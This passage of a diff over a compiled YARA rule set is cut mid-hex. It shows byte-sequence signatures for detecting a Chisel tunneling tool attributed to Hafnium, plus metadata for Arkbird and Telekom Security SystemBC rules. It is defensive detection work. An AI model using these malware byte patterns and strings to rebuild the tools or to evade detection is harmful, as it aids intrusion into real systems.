00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 36 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 72 08 45 00 00 0f 85 22 06 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 69 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 c8 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ad 40 00 48 89 15 fb ad 40 00 83 3d 04 08 45 00 00 0f 1f 40 00 0f 85 9f 05 00 00 48 89 05 d3 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 56 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d 92 07 45 00 00 0f 85 1c 05 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 8d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 e8 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 7a ad 40 00 48 89 15 7b ad 40 00 83 3d 24 07 45 00 00 0f 1f 40 00 0f 85 99 04 00 00 48 89 05 53 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 76 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d b2 06 45 00 00 0f 85 1a 04 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 08 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d ba ab 40 00 48 89 15 bb ab 40 00 83 3d 44 06 45 00 00 0f 1f 40 00 0f 85 97 03 00 00 48 89 05 93 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 41 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d d2 05 45 00 00 0f 85 18 03 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ab 40 00 48 89 15 fb ab 40 00 83 3d 64 05 45 00 00 0f 1f 40 00 0f 85 95 02 00 00 48 89 05 d3 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 65 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d f2 04 45 00 00 0f 85 16 02 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a aa 40 00 48 89 15 5b aa 40 00 83 3d 84 04 45 00 00 0f 1f 40 00 0f 85 90 01 00 00 48 89 05 33 aa 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 89 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 12 04 45 00 00 0f 85 11 01 00 00 48 89 05 05 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da a9 40 00 48 89 15 db a9 40 00 83 3d a4 03 45 00 00 0f 1f 40 00 0f 85 89 00 00 00 48 89 05 b3 a9 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ad 5d 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f2 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 32 03 45 00 00 }
+		$seq2 = { 48 c7 40 70 00 00 00 00 48 8b 48 08 48 89 0c 24 e8 01 47 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 70 e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 9b 6d ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 4a e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 75 6d ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 41 4e fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 9c 17 00 00 0f 57 c0 0f 11 84 24 18 02 00 00 0f 11 84 24 28 02 00 00 0f 11 84 24 38 02 00 00 48 8b 84 24 b8 04 00 00 48 8b 88 b0 00 00 00 48 8b 11 48 8b 59 08 48 8b 49 10 48 89 94 24 30 02 00 00 48 89 9c 24 38 02 00 00 48 89 8c 24 40 02 00 00 48 8d 8c 24 18 02 00 00 48 89 0c 24 e8 2d a2 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 90 e8 7b e0 00 00 48 8d 84 24 18 02 00 00 48 89 04 24 e8 0a a2 ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 76 4d fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 66 0f 1f 44 00 00 0f 85 ab 16 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 80 79 53 00 0f 85 a9 15 00 00 48 8b 48 18 48 8b 51 20 48 8b 0a 48 8b 9c 24 80 01 00 00 0f b7 73 40 66 89 34 24 ff d1 48 8b 44 24 08 48 89 84 24 f8 00 00 00 48 8b 4c 24 10 48 89 8c 24 38 01 00 00 48 8b 58 20 48 8b b4 24 80 01 00 00 48 8b 7e 48 4c 8b 84 24 b8 04 00 00 4d 8b 88 b0 00 00 00 4d 8b 50 08 4d 8b 58 10 48 89 0c 24 48 89 7c 24 08 4c 89 4c 24 10 4c 89 54 24 18 4c 89 5c 24 20 ff d3 48 8b 44 24 28 48 8b 4c 24 30 48 8b 5c 24 38 48 83 7c 24 30 00 0f 85 c0 14 00 00 48 85 c0 0f 84 93 00 00 00 48 89 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 7b 13 00 00 48 8b 84 24 c0 01 00 00 48 89 04 24 48 89 4c 24 08 48 89 54 24 10 48 89 5c 24 18 e8 2c df 00 00 48 8b 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 21 12 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 c6 44 24 08 16 48 89 4c 24 10 48 89 54 24 18 48 89 5c 24 20 e8 2b 4c fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 c6 11 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 90 0f 8d 0b 10 00 00 31 c9 48 89 8c 24 78 01 00 00 48 8d 05 e9 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 4e cd e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 c0 01 00 00 48 89 0c 24 48 89 44 24 08 48 c7 44 24 10 04 00 00 00 48 c7 44 24 18 04 00 00 00 0f 1f 00 e8 5b de 00 00 48 8d 05 94 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 f9 cc e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 80 01 00 00 48 89 0c 24 c6 44 24 08 16 48 89 44 24 10 48 c7 44 24 18 04 00 00 00 48 c7 44 24 20 04 00 00 00 e8 44 4b fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 1f 0f 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 66 90 e8 bb 43 fe ff 48 8b 44 24 10 48 8b 4c 24 18 48 83 7c 24 10 00 0f 85 d6 0e 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 e8 34 4c fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 10 48 8b 5c 24 10 48 8b 74 24 08 48 8b 7c 24 08 48 83 7c 24 18 00 0f 85 7b 0e 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 0f 8c 55 0e 00 00 48 8d 0d e9 3f 26 00 66 0f 1f 84 00 00 00 00 00 48 39 cf 0f 85 30 0e 00 00 48 89 94 24 b8 01 00 00 0f 85 4f 0d 00 00 48 89 14 24 0f 1f 44 00 00 e8 db 9e ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 2a dd 00 00 48 c7 84 24 80 03 00 00 00 00 00 00 48 8d bc 24 88 03 00 00 0f 57 c0 48 8d 7f f0 66 0f 1f 84 00 00 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 de c6 e4 ff 48 8b 6d 00 48 8b 84 24 b8 01 00 00 48 8b 48 18 48 8b 50 20 48 8b 58 28 48 89 8c 24 80 03 00 00 48 89 94 24 88 03 00 00 48 89 9c 24 90 03 00 00 48 8b 8c 24 80 01 00 00 48 89 0c 24 48 8b 94 24 80 03 00 00 48 89 54 24 08 48 8d 7c 24 10 48 8d b4 24 88 03 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 ca c9 e4 ff 48 8b 6d 00 e8 43 27 00 00 48 8b 84 24 80 00 00 00 48 8b 8c 24 88 00 00 00 48 83 bc 24 80 00 00 00 00 0f 85 4a 0c 00 00 48 8b 94 24 b8 01 00 00 48 83 7a 20 00 0f 84 26 0c 00 00 48 8b 94 24 80 01 00 00 48 8b 8a 98 00 00 00 48 8b 9a 90 00 00 00 48 85 c9 0f 86 7e 13 00 00 48 8b 03 48 8b 88 a0 00 00 00 48 8b 80 a8 00 00 00 48 89 8c 24 f0 00 00 00 48 89 84 24 20 01 00 00 48 89 14 24 e8 88 4a fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 08 48 8b 5c 24 10 48 83 7c 24 18 00 0f 85 9d 0b 00 00 48 8b 84 24 f0 00 00 00 48 8b 8c 24 20 01 00 00 48 89 94 24 00 01 00 00 48 89 8c 24 20 01 00 00 48 89 84 24 f0 00 00 00 48 89 9c 24 40 01 00 00 48 8b b4 24 80 01 00 00 48 8b 7e 48 48 83 }
+		$seq3 = { 48 89 34 24 e8 65 6c fe ff 48 8d bc 24 f8 03 00 00 48 8d 74 24 08 48 89 6c 24 f0 48 8d 6c 24 f0 e8 2f be e4 ff 48 8b 6d 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 8b 51 58 48 8b 0a 48 89 e7 48 8d b4 24 f8 03 00 00 0f 1f 80 00 00 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 f7 bd e4 ff 48 8b 6d 00 ff d1 48 8b 84 24 b0 00 00 00 48 8b 8c 24 b8 00 00 00 48 83 bc 24 b0 }
 
 	condition:
-		uint16(0)==0x33c9 and filesize <3KB and (1 of ($URL*)) and (12 of ($s*))
+		uint16(0)==0x5a4d and filesize >100KB and 2 of ($seq*) and 7 of ($str*)
 }
 rule ARKBIRD_SOLG_APT_Babyelephant_Installer_Feb_2021_1 : FILE
 {
@@ -194216,89848 +200594,94838 @@ rule ARKBIRD_SOLG_APT_Babyelephant_Installer_Feb_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >80KB and all of them
 }
-rule ARKBIRD_SOLG_APT_Chisel_Hafnium_Feb_2021_1 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: Telekom Security
+ * Repository: https://github.com/telekom-security/malware_analysis/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: bf832d97e8fd292ec5e095e35bde992a6462e71c
+ * Number of Rules: 12
+ * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule TELEKOM_SECURITY_Win_Systembc_20220311 : FILE
 {
 	meta:
-		description = "Rule for detecting Chisel kit tool used by Hafnium"
-		author = "Arkbird_SOLG"
-		id = "cd6be3b4-71fd-5e17-8835-a331a24fc5d6"
-		date = "2021-02-23"
-		modified = "2021-04-25"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/Hafinum/APT_Chisel_Hafnium_Feb_2021_1.yara#L1-L28"
+		description = "Detects unpacked SystemBC module"
+		author = "Thomas Barabosch, Deutsche Telekom Security"
+		id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85"
+		date = "2022-03-13"
+		modified = "2022-03-13"
+		reference = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/systembc/systembc.yara#L1-L27"
 		license_url = "N/A"
-		hash = "4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04"
-		logic_hash = "8e56234ce59197a8df51b21b89d3a901785dbb0211ab576cb3d194de34b611de"
+		logic_hash = "2f6e2c4c786941f800678e22679d4b81d1097a46c2555ae70e745df1b997c1c8"
 		score = 75
-		quality = 57
+		quality = 70
 		tags = "FILE"
-		adversary = "Hafnium"
-		tlp = "white"
+		sharing = "TLP:WHITE"
+		hash_1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5"
+		in_memory = "True"
 
 	strings:
-		$str1 = { 48 61 6e 64 73 68 61 6b 69 6e 67 20 77 69 74 68 20 25 73 2e 2e 2e }
-		$str2 = { 4c 65 74 73 45 6e 63 72 79 70 74 20 63 61 63 68 65 20 64 69 72 65 63 74 6f 72 79 20 25 73 }
-		$str3 = { 65 6e 63 6f 64 65 20 65 72 72 6f 72 3a 20 25 77 }
-		$str4 = { 28 65 72 72 6f 72 20 25 73 29 }
-		$str5 = { 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 63 6c 69 65 6e 74 20 63 65 72 74 20 61 6e 64 20 6b 65 79 20 70 61 69 72 3a 20 25 76 }
-		$str6 = { 4c 69 73 74 65 6e 69 6e 67 20 6f 6e 20 25 73 3a 2f 2f 25 73 3a 25 73 25 73 }
-		$str7 = { 46 61 69 6c 65 64 20 74 6f 20 64 65 63 6f 64 65 20 50 45 4d 3a 20 25 73}
-		$str8 = { 43 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 28 25 73 29 }
-		$str9 = { 70 72 6f 78 79 23 25 73 }
-		$seq1 = { 48 89 05 5a 96 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 3c 67 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 05 fd ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d d7 b4 40 00 48 89 15 d8 b4 40 00 83 3d 41 0d 45 00 00 90 0f 85 b5 0b 00 00 48 89 05 b3 b4 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 50 eb 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d d2 0c 45 00 00 0f 85 36 0b 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 e3 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da b2 40 00 48 89 15 db b2 40 00 83 3d 64 0c 45 00 00 0f 1f 40 00 0f 85 b0 0a 00 00 48 89 05 b3 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ee 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d f2 0b 45 00 00 0f 85 31 0a 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 04 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b3 40 00 48 89 15 5b b3 40 00 83 3d 84 0b 45 00 00 0f 1f 40 00 0f 85 aa 09 00 00 48 89 05 33 b3 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 0f 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 12 0b 45 00 00 0f 85 2b 09 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 25 e9 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b2 40 00 48 89 15 5b b2 40 00 83 3d a4 0a 45 00 00 0f 1f 40 00 0f 85 a8 08 00 00 48 89 05 33 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b4 e8 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 08 b1 40 00 48 89 15 09 b1 40 00 83 3d 32 0a 45 00 00 0f 85 29 08 00 00 48 89 05 e5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 21 64 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 88 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a af 40 00 48 89 15 5b af 40 00 83 3d c4 09 45 00 00 0f 1f 40 00 0f 85 a6 07 00 00 48 89 05 33 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 16 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 52 09 45 00 00 0f 85 27 07 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 45 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 a8 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 9a af 40 00 48 89 15 9b af 40 00 83 3d e4 08 45 00 00 0f 1f 40 00 0f 85 a4 06 00 00 48 89 05 73 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 36 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 72 08 45 00 00 0f 85 22 06 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 69 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 c8 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ad 40 00 48 89 15 fb ad 40 00 83 3d 04 08 45 00 00 0f 1f 40 00 0f 85 9f 05 00 00 48 89 05 d3 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 56 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d 92 07 45 00 00 0f 85 1c 05 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 8d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 e8 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 7a ad 40 00 48 89 15 7b ad 40 00 83 3d 24 07 45 00 00 0f 1f 40 00 0f 85 99 04 00 00 48 89 05 53 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 76 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d b2 06 45 00 00 0f 85 1a 04 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 08 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d ba ab 40 00 48 89 15 bb ab 40 00 83 3d 44 06 45 00 00 0f 1f 40 00 0f 85 97 03 00 00 48 89 05 93 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 41 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d d2 05 45 00 00 0f 85 18 03 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ab 40 00 48 89 15 fb ab 40 00 83 3d 64 05 45 00 00 0f 1f 40 00 0f 85 95 02 00 00 48 89 05 d3 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 65 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d f2 04 45 00 00 0f 85 16 02 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a aa 40 00 48 89 15 5b aa 40 00 83 3d 84 04 45 00 00 0f 1f 40 00 0f 85 90 01 00 00 48 89 05 33 aa 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 89 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 12 04 45 00 00 0f 85 11 01 00 00 48 89 05 05 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da a9 40 00 48 89 15 db a9 40 00 83 3d a4 03 45 00 00 0f 1f 40 00 0f 85 89 00 00 00 48 89 05 b3 a9 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ad 5d 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f2 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 32 03 45 00 00 }
